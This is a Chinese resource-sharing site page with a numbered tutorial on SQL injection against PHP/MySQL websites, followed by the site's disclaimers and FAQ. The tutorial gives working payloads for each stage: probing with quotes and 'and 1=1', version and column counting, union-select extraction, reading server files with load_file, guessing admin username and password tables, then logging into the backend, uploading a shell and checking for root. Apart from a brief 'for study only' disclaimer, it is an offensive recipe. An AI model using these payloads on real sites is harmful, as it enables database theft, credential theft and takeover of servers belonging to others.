php注入基本步骤小结
php注入十点基本步骤 1、判断是否存在注入,加\’、and 1=1、and 1=2 2、判断版本and ord(mid(version(),1,1))>51/* 返回正常说明是4.0以上版本,可以用union查询 3、利用order by 暴字段,在网址后加 order by 10/* 如果返回正常说明字段大于10 4、再利用union来查询准确字段,如: and 1=2 union select 1,2,3,……./* 直到返回正常报出数字,说明猜到准确字段数。如过滤了空格可以用/**/代替。 (可在分别用user()、database()、version()进行替换报出的数字进而查看信息) 5、判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0/* 如果结果返回错误,那我们只能猜解管理员帐号和密码了。 6、如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。 7、首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6….from user/* 如果返回正常,说明存在这个表。 8、知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6….from user/* 按报出的数字进行替换 9、同理再猜解password字段,猜解成功再找后台登录。 10、登录后台,上传shell。 11、检测是不是root权限 and/**/ord(mid(user(),1,1))=114/*
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » php注入基本步骤小结
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html